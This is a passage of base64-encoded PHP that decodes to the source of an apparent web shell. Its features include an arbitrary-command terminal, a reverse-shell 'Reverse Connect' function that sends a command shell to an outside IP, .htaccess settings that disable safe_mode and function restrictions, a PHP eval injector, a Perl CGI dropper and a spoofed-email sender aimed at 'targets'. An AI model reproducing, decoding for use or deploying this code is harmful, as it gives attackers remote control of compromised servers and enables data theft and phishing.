0KVsnZXh0ZW5zaW9uJ109PSdzcWwnPyRvdXRwdXQ6JG91dHB1dC4nLnNxbCc7DQoJCQkJJGhhbmRsZT1mb3Blbigkb3V0cHV0LCd3KycpOw0KCQkJCWZ3cml0ZSgkaGFuZGxlLCRyZXR1cm4pOw0KCQkJCWZjbG9zZSgkaGFuZGxlKTsNCgkJCQkkX1NFU1NJT05bJ3N0YXR1cyddPXNwcmludGYoIkR1bXAgd2l0aCBzdWNjZXNzLi4uIDxhIGhyZWY9Jz9hPXYmcj0lcycgdGFyZ2V0PSdfYmxhbmsnPiclcyc8L2E+Iix1cmxlKCRvdXRwdXQpLGJhc2VuYW1lKCRvdXRwdXQpKTsJICAgIA0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCSRfU0VTU0lPTlsnc3RhdHVzJ109IjxzcGFuIGNsYXNzPW9mZj5EdW1wIEVycm9yPC9zcGFuPiI7DQoJCQl9DQoJCQkNCgkJCWhlYWRlcignbG9jYXRpb246Jy5waHBfc2VsZi4nP3g9ZGInKTsNCgkJfQ0KDQoJfQ0KCWlmKCRfUkVRVUVTVFsneCddPT0idGVybWluYWwiKQ0KCXsNCgkJcHJpbnRmKCINCgkJCTxkaXYgaWQ9J3Rlcm1pbmFsJz4NCgkJCQk8dGV4dGFyZWEgaWQ9J3Byb21wdC10ZXJtaW5hbCcgY2xhc3M9J2NtZCcgY29scz0nMTIyJyByb3dzPScyMCcgcmVhZG9ubHk+JXM8L3RleHRhcmVhPg0KCQkJCTxmb3JtIG9uc3VibWl0PSdyZXR1cm4gZmFsc2U7Jz4NCgkJCQkJPGxhYmVsIGlkPSdjdXJkaXItdGVybWluYWwnPiQgJXM6PC9sYWJlbD4NCgkJCQkJPGlucHV0IHR5cGU9J3RleHQnIGlkPSd0ZXJtaW5hbC1pbnB1dCcgYXV0b2NvbXBsZXRlPSdvZmYnIG9uZm9jdXM9XCJcIiBvbmtleWRvd249XCINCgkJCQkJCWlmKGV2ZW50LmtleUNvZGU9PTEzKSANCgkJCQkJCXsNCgkJCQkJCQl0ZW1wPXRoaXMudmFsdWU7DQoJCQkJCQkJdGhpcy52YWx1ZT0nJzsNCgkJCQkJCQlnZXRBamF4KHRydWUsJ2N1cmRpci10ZXJtaW5hbCcsJ1BPU1QnLCc/eD10ZXJtaW5hbCZ4YT10ZXJtaW5hbHMtY3VyZGlyJmNtZD0nK3RlbXApOw0KCQkJCQkJCXJldHVybiBnZXRBamF4KGZhbHNlLCdwcm9tcHQtdGVybWluYWwnLCdQT1NUJywnP3g9dGVybWluYWwmeGE9dGVybWluYWxzJmNtZD0nK3RlbXApOw0KCQkJCQkJfQ0KCQkJCQlcIiBjbGFzcz0nY21kJyBuYW1lPWNtZCBjb2xzPTEyMiByb3dzPTI+PC9pbnB1dD4NCgkJCQk8L2Zvcm0+DQoJCQk8L2Rpdj4iLEV4ZWN1dGUoJ3dob2FtaScpLCRkaXIpOw0KDQoJCWlmKGFueSgieGEiLCRfUkVRVUVTVCkmJiRfUkVRVUVTVFsneGEnXT09InRlcm1pbmFscyIpDQoJCXsJDQoJCQlvYl9jbGVhbigpOw0KCQkJJGNvbW1hbmQ9IWVtcHR5KCRfUkVRVUVTVFsnY21kJ10pPyRfUkVRVUVTVFsnY21kJ106Indob2FtaSI7DQoJCQlAY2hkaXIoJGRpcik7DQoJCQkkY2hhcnNldD0nVVRGLTgnOw0KCQkJaWYoIVVuaXgoKSkNCgkJCXsNCgkJCQkkY2hhcnNldD0nV2luZG93cy0xMjUxJzsNCgkJCX0NCgkJCSRyZXQ9aWNvbnYoJGNoYXJzZXQsJ1VURi04JyxFeGVjdXRlKCRjb21tYW5kKSk7DQoJCQlwcmludCAkcmV0Ow0KCQkJZXhpdDsNCgkJfQ0KCQllbHNlaWYoYW55KCJ4YSIsJF9SRVFVRVNUKSYmJF9SRVFVRVNUWyd4YSddPT0idGVybWluYWxzLWN1cmRpciIpDQoJCXsJDQoJCQlvYl9jbGVhbigpOw0KCQkJJGNvbW1hbmQ9IWVtcHR5KCRfUkVRVUVTVFsnY21kJ10pPyRfUkVRVUVTVFsnY21kJ106Indob2FtaSI7DQoJCQlpZiAocHJlZ19tYXRjaCgnL2NkICguKikvJywkY29tbWFuZCwkZGlyeCkpDQoJCQl7DQoJCQkJaWYgKCRkaXJ4WzFdPT0nLi4nKQ0KCQkJCXsNCgkJCQkJJGRpcj1zdWJzdHIoJGRpciwwLHN0cnJwb3MoJGRpcixfKSk7DQoJCQkJCWlmIChzdHJsZW4oJGRpcik8PTIpICRkaXI9JGRpci5fOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlpZiAoaXNfZGlyKCRkaXJ4WzFdKSkNCgkJCQkJew0KCQkJCQkJJGRpcj1yZWFscGF0aCgkZGlyeFsxXSk7DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCQkkX1NFU1NJT05bJ2MnXT11cmxlKCRkaXIpOw0KCQkJcHJpbnQgJyQgJy4kZGlyLic6JzsNCgkJCWV4aXQ7DQoJCX0NCgl9DQoJaWYoJF9SRVFVRVNUWyd4J109PSJjb25uZWN0IikNCgl7DQoJCXByaW50ZigiPGRpdiBpZD0nY29ubmVjdCc+DQoJCQkJPGRpdiBjbGFzcz0nY29ubmVjdC1sZWZ0Jz4NCgkJCQkJPGRpdiBjbGFzcz0nUmV2ZXJzZS1jb25uZWN0Jz4NCgkJCQkJCTxmaWVsZHNldD4NCgkJCQkJCQk8bGVnZW5kPlJldmVyc2UgQ29ubmVjdDwvbGVnZW5kPg0KCQkJCQkJCTxmb3JtIGFjdGlvbj0nP3g9Y29ubmVjdCZ4YT1yZXZlcnNlLWNvbm5lY3QnIG1ldGhvZD0ncG9zdCcgb25zdWJtaXQ9XCINCgkJCQkJCQkJcmV0dXJuIGNvbmZpcm0oJ0hPU1Qgd2lsbCBGVUNLRUQgT04gdXIgUEMgb3IgTEFQVE9QID8hXFxuTWFrZSBTdXJlIHVyIEZJUkVXQUxMIE9GRiA/IVxcblVTRSBORVRDQVQge25jIC1sdnAgJyArIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZXZlcnNlLXBvcnQnKS52YWx1ZSsnfVxcblxcblRZUEUgXCdleGl0XCcgb3IgXCdxdWl0XCcgdG8gVEVSTUlOQVRFJylcIj4NCgkJCQkJCQkJPGxhYmVsPlJlbW90ZSBJcDwvbGFiZWw+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3JldmVyc2UtaXAnIHZhbHVlPSclcycvPjxicj4NCgkJCQkJCQkJPGxhYmVsPlJlbW90ZSBQb3J0PC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J3JldmVyc2UtcG9ydCcgbmFtZT0ncmV2ZXJzZS1wb3J0JyB2YWx1ZT0nMTMzNycvPjxicj4NCgkJCQkJCQkJPGxhYmVsPlNvY2tldDwvbGFiZWw+PHNlbGVjdCBuYW1lPSdzb2NrZXQnPg0KCQkJCQkJCQkJPG9wdGlvbiB2YWx1ZT0nZnNvY2tvcGVuJz5mc29ja29wZW48L29wdGlvbj4NCgkJCQkJCQkJCTxvcHRpb24gdmFsdWU9J3NvY2tldF9jcmVhdGUnPnNvY2tldF9jcmVhdGU8L29wdGlvbj4NCgkJCQkJCQkJCTxvcHRpb24gdmFsdWU9J3N0cmVhbV9zb2NrZXRfY2xpZW50Jz5zdHJlYW1fc29ja2V0X2NsaWVudDwvb3B0aW9uPg0KCQkJCQkJCQk8L3NlbGVjdD48YnI+DQoJCQkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDb25uZWN0JyAgLz4NCgkJCQkJCQk8L2Zvcm0+DQoJCQkJCQk8L2ZpZWxkc2V0Pg0KCQkJCQk8L2Rpdj4NCgkJCQk8L2Rpdj4NCgkJCQk8ZGl2IGNsYXNzPSdjb25uZWN0LXJpZ2h0Jz4NCgkJCQkJPGRpdiBjbGFzcz0nc3RhdHVzLWNvbm5lY3QnPg0KCQkJCQkJPGZpZWxkc2V0Pg0KIAkJCQkJCQk8bGVnZW5kPlN0YXR1czwvbGVnZW5kPg0KCQkJCQkJCTxkaXYgaWQ9J2Nvbm5lY3QtcmVzdWx0Jz5UZXJtaW5hbDogJXMiLA0KCQkJCQkJCXJlbW90ZV9hZGRyLEV4ZWN1dGUoJ3dob2FtaScpIA0KCQkpOw0KDQoJCWlmKGFueSgieGEiLCRfUkVRVUVTVCkmJiRfUkVRVUVTVFsneGEnXT09InJldmVyc2UtY29ubmVjdCIpDQoJCXsNCgkJCWlmKCRfUkVRVUVTVFsnc29ja2V0J109PSJmc29ja29wZW4iKQ0KCQkJew0KCQkJCSRob3N0PSRfUkVRVUVTVFsncmV2ZXJzZS1pcCddOw0KCQkJCSRwb3J0PSRfUkVRVUVTVFsncmV2ZXJzZS1wb3J0J107DQoJCQkJJHNvY2s9QGZzb2Nrb3BlbigkaG9zdCwkcG9ydCwkZXJybm8sJGVycnN0cik7DQoJCQkJaWYoJGVycm5vIT0wKQ0KCQkJCXsNCgkJCQkJcHJpbnRmKCI8Zm9udCBjb2xvcj0ncmVkJz48Yj4lczwvYj46JXM8L2ZvbnQ+IiwkZXJybm8sJGVycnN0cik7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXdoaWxlKCFmZW9mKCRzb2NrKSkgDQoJCQkJICAgIHsNCgkJCQkgICAgCWZ3cml0ZSgkc29jaywiW2JlYXZlcl06Iik7DQoJCQkJICAgICAgICAkY29tbWFuZD1mZ2V0cygkc29jaywxMDI0KTsNCgkJCQkgICAgICAgIGlmKHRyaW0oJGNvbW1hbmQpPT0ncXVpdCd8fHRyaW0oJGNvbW1hbmQpPT0nZXhpdCcpDQoJCQkJCSAgICB7DQoJCQkJCSAgICAJZmNsb3NlKCRzb2NrKTsNCgkJCQkJICAgIAlwcmludGYoJGNvbW1hbmQpOw0KCQkJCQkgICAgCWV4aXQ7DQoJCQkJCSAgIH0NCgkJCQkgICAgICAgZndyaXRlKCRzb2NrLEV4ZWN1dGUoJGNvbW1hbmQpKTsNCgkJCQkgICB9DQoJCQkJICAgIGZjbG9zZSgkc29jayk7DQoJCQkJfQ0KCQkJfQ0KCQkJZWxzZSBpZigkX1JFUVVFU1RbJ3NvY2tldCddPT0ic29ja2V0X2NyZWF0ZSIpDQoJCQl7DQoJCQkJJGhvc3Q9JF9SRVFVRVNUWydyZXZlcnNlLWlwJ107DQoJCQkJJHBvcnQ9JF9SRVFVRVNUWydyZXZlcnNlLXBvcnQnXTsNCgkJCQkkc29jaz1zb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7DQoJCQkJc29ja2V0X3NldF9ub25ibG9jaygkc29jayk7DQoJCQkJaWYoISRzb2NrKQ0KCQkJCXsNCgkJCQkJcHJpbnRmKCI8Zm9udCBjb2xvcj0ncmVkJz5Db25uZWN0aW9uIEVycm9yPC9mb250PiIpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl3aGlsZSghQHNvY2tldF9jb25uZWN0KCRzb2NrLCRob3N0LCRwb3J0KSkgDQoJCQkJCXsNCgkJCQkJICAgIEBzb2NrZXRfd3JpdGUoJHNvY2ssIltiZWF2ZXJdOiIsc3RybGVuICgiW2JlYXZlcl06IikpOw0KCQkJCQkgICAgJGlucHV0PUBzb2NrZXRfcmVhZCgkc29jaywxMDI0LFBIUF9OT1JNQUxfUkVBRCk7DQoJCQkJCSAgICBpZiAodHJpbSgkaW5wdXQpPT0ncXVpdCd8fHRyaW0oJGlucHV0KT09J2V4aXQnKQ0KCQkJCQkgICAgew0KCQkJCQkgICAgCXNvY2tldF9zZXRfYmxvY2soJHNvY2spOw0KCQkJCQkgICAgCXNvY2tldF9jbG9zZSgkc29jayk7DQoJCQkJCSAgICAJcHJpbnRmKCRpbnB1dCk7DQoJCQkJCSAgICAJZXhpdDsNCgkJCQkJICAgfQ0KCQkJCQkgICBAc29ja2V0X3dyaXRlKCRzb2NrLEV4ZWN1dGUoJGlucHV0KSxzdHJsZW4gKEV4ZWN1dGUoJGlucHV0KSkpOw0KCQkJCQl9DQoJCQkJCXNvY2tldF9zZXRfYmxvY2soJHNvY2spOw0KCQkJCQlzb2NrZXRfY2xvc2UoJHNvY2spOw0KCQkJCX0NCgkJCX0NCgkJCWVsc2UgaWYoJF9SRVFVRVNUWydzb2NrZXQnXT09InN0cmVhbV9zb2NrZXRfY2xpZW50IikNCgkJCXsNCgkJCQkkaG9zdD0kX1JFUVVFU1RbJ3JldmVyc2UtaXAnXTsNCgkJCQkkcG9ydD0kX1JFUVVFU1RbJ3JldmVyc2UtcG9ydCddOw0KCQkJCSRzb2NrPUBzdHJlYW1fc29ja2V0X2NsaWVudCgidGNwOi8vJGhvc3Q6JHBvcnQiLCRlcnJubywkZXJyc3RyKTsNCgkJCQlpZiAoISRzb2NrKSANCgkJCQl7IA0KCQkJCSAgICBwcmludGYoIjxmb250IGNvbG9yPSdyZWQnPjxiPiVzPC9iPjolczwvZm9udD4iLCRlcnJubywkZXJyc3RyKTsNCgkJCQl9DQoJCQkJZWxzZSANCgkJCQl7IA0KCQkJCQl3aGlsZSghZmVvZigkc29jaykpIA0KCQkJCSAgICB7IA0KCQkJCSAgICAJZndyaXRlKCRzb2NrLCJbYmVhdmVyXToiKTsNCgkJCQkgICAgICAgICRjb21tYW5kPWZnZXRzKCRzb2NrLDEwMjQpOw0KCQkJCSAgICAgICAgaWYodHJpbSgkY29tbWFuZCk9PSdxdWl0J3x8dHJpbSgkY29tbWFuZCk9PSdleGl0JykNCgkJCQkJICAgIHsNCgkJCQkJICAgIAlmY2xvc2UoJHNvY2spOw0KCQkJCQkgICAgCXByaW50ZigkY29tbWFuZCk7DQoJCQkJCSAgICAJZXhpdDsNCgkJCQkJICAgfQ0KCQkJCSAgICAgICAgZndyaXRlKCRzb2NrLEV4ZWN1dGUoJGNvbW1hbmQpKTsNCgkJCQkgICB9DQoJCQkJICAgIGZjbG9zZSgkc29jayk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCXByaW50ZigiPC9maWVsZHNldD48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4iKTsNCgl9DQoJaWYoJF9SRVFVRVNUWyd4J109PSJodGFjY2VzcyIpDQoJew0KCQkkcGhwX2luaT1hcnJheSgNCgkJCSJwaHBfdmFsdWUgdXBsb2FkX21heF9maWxlc2l6ZSAzMk0iLA0KCQkJInBocF92YWx1ZSBwb3N0X21heF9zaXplIDMyTSIsDQoJCQkicGhwX2ZsYWcgc2FmZV9tb2RlIE9mZiIsDQoJCQkicGhwX3ZhbHVlIGRpc2FibGVfZnVuY3Rpb25zIG51bGwiLA0KCQkJInBocF9mbGFnIHNhZmVfbW9kZV9naWQgT2ZmIiwNCgkJCSJwaHBfdmFsdWUgb3Blbl9iYXNlZGlyICRkaXIiLA0KCQkJInBocF9mbGFnIHJlZ2lzdGVyX2dsb2JhbHMgT24iLA0KCQkJInBocF9mbGFnIGV4ZWMgT24iLA0KCQkJInBocF9mbGFnIHNoZWxsX2V4ZWMgT24iKTsNCg0KCQkkaHRhY2Nlc3M9YXJyYXkoDQoJCQkiT3B0aW9ucyBBbGwiLA0KCQkJIkFsbG93IEZyb20gQWxsIiwNCgkJCSJTYXRpc2Z5IEFueSIpOw0KDQoJCXByaW50ZigiDQoJCQk8ZGl2IGNsYXNzPSdkaXZpZGUnPg0KCQkJCTxkaXYgY2xhc3M9J2RpdmlkZS1sZWZ0Jz4NCgkJCQkJPHRleHRhcmVhPiVzPC90ZXh0YXJlYT4NCgkJCQk8L2Rpdj4NCgkJCQk8ZGl2IGNsYXNzPSdkaXZpZGUtcmlnaHQnPg0KCQkJCQk8dGV4dGFyZWE+JXM8L3RleHRhcmVhPg0KCQkJCTwvZGl2Pg0KCQkJPC9kaXY+IixpbXBsb2RlKCRwaHBfaW5pLCJcbiIpLGltcGxvZGUoJGh0YWNjZXNzLCJcbiIpKTsNCgl9DQoJaWYoJF9SRVFVRVNUWyd4J109PSJwaHAiKQ0KCXsJDQoJCSRleHA9YXJyYXkoDQoJCQkicHJpbnRfcihnZXRfZXh0ZW5zaW9uX2Z1bmNzKCdDb3JlJykpOyIsDQoJCQkicHJpbnRfcihnZXRfbG9hZGVkX2V4dGVuc2lvbnMoKSk7IiwNCgkJCSJwcmludF9yKGluaV9nZXRfYWxsKCdwY3JlJykpOyIsDQoJCQkicHJpbnRfcihpbmlfZ2V0X2FsbCgpKTsiLA0KCQkJInByaW50X3IoZ2V0X2RlZmluZWRfY29uc3RhbnRzKCkpOyIsDQoJCQkicHJpbnRfcihnZXRfZGVmaW5lZF9mdW5jdGlvbnMoKSk7IiwNCgkJCSJwcmludF9yKGdldF9kZWNsYXJlZF9jbGFzc2VzKCkpOyIpOw0KCQkNCgkJcHJpbnRmKCI8ZGl2IGlkPSdwaHAnPg0KCQkJCQk8Zm9ybSBvbnN1Ym1pdD0ncmV0dXJuIGZhbHNlOyc+DQoJCQkJCQk8ZGl2IGNsYXNzPSdwaHAtbGVmdCc+DQoJCQkJCQkJPHRleHRhcmVhIGlkPSdwaHAtY29kZScgY29scz0nMTIyJyByb3dzPScyMCc+JXM8L3RleHRhcmVhPg0KCQkJCQkJPC9kaXY+DQoJCQkJCQk8ZGl2IGNsYXNzPSdwaHAtcmlnaHQnPg0KCQkJCQkJCTx0ZXh0YXJlYSBpZD0ncGhwLWV2YWwnIGNvbHM9JzEyMicgcm93cz0nMjAnIHJlYWRvbmx5PjwvdGV4dGFyZWE+DQoJCQkJCQk8L2Rpdj4NCgkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIGlkPSdwaHAtc3VibWl0JyBvbmNsaWNrPVwiZ2V0QWpheChmYWxzZSwncGhwLWV2YWwnLCdQT1NUJywnP3g9cGhwJmNvZGV4PScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3BocC1jb2RlJykudmFsdWUpO1wiIGNsYXNzPSdwaHAtY29kZScgbmFtZT1waHAtY29kZSBjb2xzPTEyMiByb3dzPTIwIHZhbHVlPSdJbmplY3QnLz4NCgkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIGlkPSdwaHAtc3VibWl0JyBvbmNsaWNrPVwiZ2V0QWpheChmYWxzZSwncGhwLWV2YWwnLCdQT1NUJywnP3g9cGhwJmNvZGU9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGhwLWNvZGUnKS52YWx1ZSk7XCIgY2xhc3M9J3BocC1jb2RlJyBuYW1lPXBocC1jb2RlIGNvbHM9MTIyIHJvd3M9MjAgdmFsdWU9J1J1bicvPg0KCQkJCQk8L2Zvcm0+DQoJCQkJPC9kaXY+IixpbXBsb2RlKCRleHAsIlxuIikpOw0KDQoJCWlmKGFueSgiY29kZSIsJF9SRVFVRVNUKSkNCgkJew0KCQkJb2JfY2xlYW4oKTsNCgkJCSRjb2RlPXRyaW0oJF9SRVFVRVNUWydjb2RlJ10pOw0KCQkJJGV2aWw9RXZpbCgkY29kZSk7DQoJCQlleGl0Ow0KCQl9DQoJCWlmKGFueSgiY29kZXgiLCRfUkVRVUVTVCkpDQoJCXsNCgkJCW9iX2NsZWFuKCk7DQoJCQkkY29kZT10cmltKCRfUkVRVUVTVFsnY29kZXgnXSk7DQoJCQkkZXZpbD1FdmlsKCRjb2RlLHRydWUpOw0KCQkJZXhpdDsNCgkJfQ0KCX0NCglpZigkX1JFUVVFU1RbJ3gnXT09InBlcmwiKQ0KCXsNCgkJcHJpbnQgJ1BIUCBQZXJsIENsYXNzOiAnLihjbGFzc19leGlzdHMoJ1BlcmwnKT8iPGIgY2xhc3M9J29uJz5PTjwvYj4iOiI8YiBjbGFzcz0nb2ZmJz5PRkY8L2I+IikuJzxicj4nOw0KDQoJCWlmKFVuaXgoKSkNCgkJew0KCQkJaWYoZmlsZV9leGlzdHMoIi91c3IvYmluL3BlcmwiKSkNCgkJCXsNCgkJCQkkcGF0aF9wZXJsPSIvdXNyL2Jpbi9wZXJsIjsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkcGF0aF9wZXJsPSIvdXNyL2Jpbi9lbnYgcGVybCI7DQoJCQl9DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlpZihmaWxlX2V4aXN0cygiQzpcXHBlcmxcYmluXHBlcmwuZXhlIikpDQoJCQl7DQoJCQkJJHBhdGhfcGVybD0iQzpcXHBlcmxcYmluXHBlcmwuZXhlIjsNCgkJCX0NCgkJCWVsc2VpZihmaWxlX2V4aXN0cygiQzpcXHdhbXBcYmluXHBlcmwuZXhlIikpDQoJCQl7DQoJCQkJJHBhdGhfcGVybD0iQzpcXHdhbXBcYmluXHBlcmwuZXhlIjsNCgkJCX0NCgkJCWVsc2VpZihmaWxlX2V4aXN0cygiQzpcXHhhbXBwXHBlcmxcYmluXHBlcmwuZXhlIikpDQoJCQl7DQoJCQkJJHBhdGhfcGVybD0iQzpcXHhhbXBwXHBlcmxcYmluXHBlcmwuZXhlIjsNCgkJCX0NCgkJfQ0KCQkNCgkJJHNjcmlwdD1hcnJheSgNCgkJCSIjISRwYXRoX3BlcmwiLA0KCQkJInVzZSBzdHJpY3Q7IiwNCgkJCSJ1c2Ugd2FybmluZ3M7IiwNCgkJCSJ1c2UgQ0dJOyIsDQoJCQkicHJpbnQgQ0dJOjpoZWFkZXIoKTsiLA0KCQkJInByaW50ICdiZWF2ZXIgb24gQ0dJJzsiKTsNCg0KCQkkaHRhY2Nlc3M9YXJyYXkoDQoJCQkiT3B0aW9ucyArRXhlY0NHSSArU3ltTGlua3NJZk93bmVyTWF0Y2giLA0KCQkJIkRpcmVjdG9yeUluZGV4IGluZGV4LmxlciIsDQoJCQkiQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAubGVyIiwNCgkJCSJBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmxlciIpOw0KDQoJCSRwYXRoPSRkaXIuXy4nY2dpLWJpbic7DQoJCSRmaWxlPSRwYXRoLl8uJ3BlcmwubGVyJzsNCgkJJGZpbGUyPSRwYXRoLl8uJy5odGFjY2Vzcyc7DQoNCgkJJHNjcmlwdHM9aW1wbG9kZSgkc2NyaXB0LCJcbiIpOw0KCQkkaHRhY2Nlc3NzPWltcGxvZGUoJGh0YWNjZXNzLCJcbiIpOw0KDQoJCWlmKCFpc19kaXIoJHBhdGgpKQ0KCQl7DQoJCQlta2RpcigkcGF0aCwwNzU1KTsNCgkJfQ0KCQlpZighaXNfZmlsZSgkZmlsZSkpDQoJCXsNCgkJCSRvcD1mb3BlbigkZmlsZSwndysnKTsNCgkJCWZ3cml0ZSgkb3AsJHNjcmlwdHMpOw0KCQkJZmNsb3NlKCRvcCk7DQoJCQljaG1vZCgkZmlsZSwwNzU1KTsNCgkJfQ0KCQlpZighaXNfZmlsZSgkZmlsZTIpKQ0KCQl7DQoJCQkkb3A9Zm9wZW4oJGZpbGUyLCd3KycpOw0KCQkJZndyaXRlKCRvcCwkaHRhY2Nlc3NzKTsNCgkJCWZjbG9zZSgkb3ApOw0KCQkJY2htb2QoJGZpbGUyLDA3NTUpOw0KCQl9DQoNCgkJJHJlZGlyZWN0PUdldFVybEZyb21QYXRoKCRmaWxlKTsNCgkJcHJpbnRmKCJUZXN0ZWQgLT4gPGEgaHJlZj0nJHJlZGlyZWN0JyB0YXJnZXQ9J19ibGFuayc+PHU+TGluazwvdT48L2E+Iik7DQoJCQ0KCQlpZiAoY2xhc3NfZXhpc3RzKCdQZXJsJykpDQoJCXsNCgkJCS8vJHBlcmw9UGVybDo6Z2V0SW5zdGFuY2UoKTsNCgkJCSRwZXJsPW5ldyBQZXJsKCk7DQoJCQkkcGVybC0+ZXZhbCgicHJpbnQgXCJFeGVjdXRpbmcgUGVybCBjb2RlIGluIFBIUFxuXCIiKTsNCgkJCXByaW50ICJIZWxsbyBmcm9tIFBIUCEgIjsNCg0KCQkJLy8kcGVybD1uZXcgUGVybCgpOw0KCQkJJHBlcmwtPnJlcXVpcmUoJGZpbGUpOw0KCQkJJHZhbD0kcGVybC0+c29tZVBocEZ1bmMoJ3Rlc3QnKTsNCgkJCXByaW50ICR2YWw7DQoJCX0NCgl9DQoJaWYoJF9SRVFVRVNUWyd4J109PSJtYWlsIikNCgl7DQoJCXByaW50ZigiDQoNCgkJCTxkaXYgY2xhc3M9J2RpdmlkZSc+DQoJCQkJPGRpdiBjbGFzcz0nZGl2aWRlLWxlZnQnPg0KCQkJCQk8ZmllbGRzZXQ+DQoJCQkJCQk8bGVnZW5kPk1haWw8L2xlZ2VuZD4NCgkJCQkJCTxmb3JtIG9uc3VibWl0PSdyZXR1cm4gZmFsc2U7JyBjbGFzcz0nbWFpbCc+DQoJCQkJCQkJPGxhYmVsPkZyb208L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZW1haWwtZnJvbScgcGxhY2Vob2xkZXI9J0F0dGFja2VyIDx2ZXJ5QGhhbmRzb21lLmNvbT4nIHZhbHVlPSdBdHRhY2tlciA8dmVyeUBoYW5kc29tZS5jb20+Jy8+PGJyPg0KCQkJCQkJCTxsYWJlbD5SZXBseSBUbzwvbGFiZWw+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdlbWFpbC1yZXBseScgcGxhY2Vob2xkZXI9dmVyeUBoYW5kc29tZS5jb20nIHZhbHVlPSd2ZXJ5QGhhbmRzb21lLmNvbScvPjxicj4NCgkJCQkJCQk8bGFiZWw+VG88L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZW1haWwtdG8nIHBsYWNlaG9sZGVyPSdUYXJnZXQgMSA8dGFyZ2V0MUB0YXJnZXQuY29tPixUYXJnZXQgMiA8dGFyZ2V0MkB0YXJnZXQuY29tPicgdmFsdWU9JycvPjxicj4NCgkJCQkJCQk8bGFiZWw+Q2M8L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZW1haWwtY2MnIHBsYWNlaG9sZGVyPSd0YXJnZXQxQHRhcmdldC5jb20sdGFyZ2V0MkB0YXJnZXQuY29tJyB2YWx1ZT0nJy8+PGJyPg0KCQkJCQkJCTxsYWJlbD5CY2M8L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZW1haWwtYmNjJyBwbGFjZWhvbGRlcj0ndGFyZ2V0MUB0YXJnZXQuY29tLHRhcmdldDJAdGFyZ2V0LmNvbScgdmFsdWU9JycvPjxicj4NCgkJCQkJCQk8bGFiZWw+U3ViamVjdDwvbGFiZWw+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdlbWFpbC1zdWJqZWN0JyBwbGFjZWhvbGRlcj0nV2hhdCBZb3UgV2FpdGluZyBGb3IgPycgdmFsdWU9JycvPjxicj4NCgkJCQkJCQk8bGFiZWw+QXR0YWNobWVudCAoRklsZW5hbWUpPC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2VtYWlsLWF0dGFjaG1lbnQnIHBsYWNlaG9sZGVyPSclcycgdmFsdWU9JycvPjxicj4NCgkJCQkJCQk8bGFiZWw+TWVzc2FnZXM8L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZW1haWwtbWVzc2FnZScvPjxicj4NCgkJCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nU2VuZCcgb25jbGljaz1cIg0KDQoJCQkJCQkJCWdldEFqYXgodHJ1ZSwNCgkJCQkJCQkJCSdzZW5kLXJlc3VsdCcsDQoJCQkJCQkJCQknUE9TVCcsDQoJCQkJCQkJCQknP3g9bWFpbCZ4YT1zZW5kJysNCgkJCQkJCQkJCScmZnJvbT0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbC1mcm9tJykudmFsdWUrDQoJCQkJCQkJCQknJnJlcGx5PScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VtYWlsLXJlcGx5JykudmFsdWUrDQoJCQkJCQkJCQknJnRvPScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VtYWlsLXRvJykudmFsdWUrDQoJCQkJCQkJCQknJmNjPScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VtYWlsLWNjJykudmFsdWUrDQoJCQkJCQkJCQknJmJjYz0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbC1iY2MnKS52YWx1ZSsNCgkJCQkJCQkJCScmc3ViamVjdD0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlbWFpbC1zdWJqZWN0JykudmFsdWUrDQoJCQkJCQkJCQknJm1lc3NhZ2U9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZW1haWwtbWVzc2FnZScpLnZhbHVlKw0KCQkJCQkJCQkJJyZhdHRhY2htZW50PScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VtYWlsLWF0dGFjaG1lbnQnKS52YWx1ZSk7DQoNCgkJCQkJCQlcIi8+CQ0KCQkJCQkJPC9mb3JtPg0KCQkJCQk8L2ZpZWxkc2V0Pg0KCQkJCTwvZGl2Pg0KCQkJCTxkaXYgY2xhc3M9J2RpdmlkZS1yaWdodCc+DQoJCQkJCTxmaWVsZHNldD4NCgkJCQkJCTxsZWdlbmQ+UmVzdWx0J3M8L2xlZ2VuZD4NCgkJCQkJCTxkaXYgaWQ9J3NlbmQtcmVzdWx0Jz48L2Rpdj4NCgkJCQkJPC9maWVsZHNldD4NCgkJCQk8L2Rpdj4NCgkJCTw